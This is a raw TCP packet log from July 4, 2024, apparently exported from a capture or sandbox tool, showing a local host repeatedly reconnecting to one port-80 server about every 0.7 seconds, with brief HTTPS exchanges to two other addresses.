Jul 4, 2024 20:36:20.542923927 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:20.543068886 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:20.547852993 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:21.257392883 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:21.257446051 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:21.261496067 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:21.261881113 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:21.267668009 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:21.267726898 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:21.267741919 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:21.267906904 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:21.268201113 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:21.273149014 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.000273943 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.000386000 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.115904093 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.118830919 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.121119022 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.122909069 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.123871088 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.123982906 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.124248981 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.128976107 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.130824089 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.132647038 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.137497902 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.138916016 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.139161110 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.143990993 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.838504076 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.838565111 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.957886934 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.958306074 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.963128090 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.963210106 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.963459015 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.963555098 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:22.963615894 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:22.968379021 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:23.838952065 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:23.842911959 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:23.845845938 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:23.845845938 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:23.855525970 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:23.856213093 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:23.858889103 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:23.858901024 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:23.859020948 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:23.865129948 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:24.608355999 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:24.608417034 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:24.725399971 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:24.726026058 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:24.927690983 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:24.927767038 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:24.927993059 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:24.928047895 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:24.928277969 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:24.933348894 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:25.634593010 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:25.637638092 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:25.637638092 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:25.638845921 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:25.643940926 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:25.644181967 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:25.647047043 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:25.647061110 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:25.650842905 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:25.655698061 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:26.347860098 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:26.350934982 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:26.458841085 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:26.458849907 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:26.463932037 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:26.464380026 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:26.464473009 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:26.464473963 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:26.464730978 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:26.469826937 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:27.169723034 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:27.169775963 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:27.174174070 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:27.174612999 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:27.186553001 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:27.186631918 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:27.187062979 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:27.191797972 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:27.205099106 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:27.205149889 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:27.912636042 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:27.914927959 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.019210100 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.021035910 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.027915001 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:28.028059959 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:28.029047966 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.029047966 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.029278040 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.036314964 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:28.758488894 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:28.758601904 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.762577057 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.763134003 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.768023014 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:28.768074989 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.768440008 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:28.768503904 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.768841028 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:28.774159908 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:29.491744995 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:29.491795063 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:29.598329067 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:29.598798037 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:29.603652000 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:29.603689909 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:29.603723049 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:29.603748083 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:29.603915930 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:29.609826088 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:30.326673031 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:30.326787949 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:30.329515934 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:30.329842091 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:30.335130930 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:30.335217953 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:30.335362911 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:30.340214014 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:30.348475933 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:30.350931883 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.059871912 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:31.059932947 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.177583933 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.178013086 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.182638884 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:31.182693005 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.182828903 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:31.182897091 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.183109999 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.188762903 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.189491034 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:31.189537048 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.191967964 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.196746111 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:31.196804047 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.197182894 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:31.209110022 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:31.909857988 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:31.910934925 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.020786047 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.022847891 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.028285027 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:32.028750896 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:32.030915022 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.030924082 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.031197071 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.036179066 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:32.742324114 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:32.742391109 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.746083975 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.746412039 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.751215935 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:32.751274109 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.751293898 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:32.751343966 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.751768112 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:32.756527901 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:33.495146036 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:33.495204926 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:33.614586115 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:33.614948988 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:33.619762897 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:33.619780064 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:33.619815111 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:33.619856119 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:33.620126009 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:33.624864101 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:34.345237970 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:34.345340967 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:34.348977089 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:34.348994970 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:34.358584881 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:34.358988047 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:34.359302044 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:34.359343052 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:34.359431982 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:34.364204884 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.088563919 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.088650942 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.207845926 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.208201885 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.213005066 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.213128090 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.213427067 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.213490963 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.213768959 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.220155001 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.284298897 CEST	49945	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:35.284358978 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:35.284446955 CEST	49945	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:35.284751892 CEST	49945	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:35.284790993 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:35.905731916 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.906176090 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.910164118 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.910185099 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.915039062 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.915205002 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.915332079 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.916882992 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.916981936 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.921926022 CEST	80	49946	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:35.924839973 CEST	49946	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:35.957432985 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:35.964956045 CEST	49945	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:35.964998960 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:35.965367079 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:35.968971014 CEST	49945	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:35.969053984 CEST	443	49945	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:36.037158966 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.042074919 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:36.044929981 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.045214891 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.050688982 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:36.144867897 CEST	49945	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:36.751647949 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:36.751703024 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.755445957 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.755903959 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.764472008 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:36.764543056 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.765422106 CEST	80	49947	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:36.765476942 CEST	49947	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.769371033 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:36.776583910 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:37.494402885 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:37.494458914 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:37.600342989 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:37.600719929 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:37.605535984 CEST	80	49948	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:37.605586052 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:37.605592012 CEST	49948	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:37.605659962 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:37.605793953 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:37.610707045 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:38.345171928 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:38.345293045 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:38.347758055 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:38.348094940 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:38.353037119 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:38.353152990 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:38.353425980 CEST	80	49949	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:38.353463888 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:38.353499889 CEST	49949	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:38.358222008 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.080234051 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.080313921 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.193887949 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.194379091 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.198959112 CEST	80	49950	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.199017048 CEST	49950	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.199219942 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.199286938 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.199738026 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.204555988 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.920519114 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.920918941 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.923835993 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.923841000 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.928659916 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.928997993 CEST	80	49951	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:39.929003000 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.932857990 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.932965040 CEST	49951	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:39.937664032 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:40.644258022 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:40.644316912 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:40.770504951 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:40.770893097 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:40.775655985 CEST	80	49952	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:40.775707006 CEST	49952	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:40.775911093 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:40.775970936 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:40.776242971 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:40.781377077 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:41.504673958 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:41.504775047 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:41.508925915 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:41.509303093 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:41.514163017 CEST	80	49953	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:41.514174938 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:41.514208078 CEST	49953	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:41.514261961 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:41.514537096 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:41.520759106 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:42.231458902 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:42.234958887 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:42.350136995 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:42.350138903 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:42.355220079 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:42.355537891 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:42.355537891 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:42.356004953 CEST	80	49954	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:42.356139898 CEST	49954	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:42.360373020 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.069386005 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.069439888 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.073699951 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.074093103 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.079401970 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.079466105 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.079653978 CEST	80	49955	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.079700947 CEST	49955	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.079906940 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.084723949 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.474904060 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:43.474967003 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:43.475033045 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:43.475310087 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:43.475337982 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:43.777245998 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.781219006 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.895509005 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.896866083 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.906712055 CEST	80	49956	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.907902956 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:43.909239054 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.909240007 CEST	49956	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.909809113 CEST	49958	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:43.917155981 CEST	80	49958	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:44.125900030 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.127443075 CEST	49957	443	192.168.2.4	142.250.186.174
Jul 4, 2024 20:36:44.127511978 CEST	443	49957	142.250.186.174	192.168.2.4
Jul 4, 2024 20:36:44.127866030 CEST	443	49957	142.250.186.174	192.168.2.4
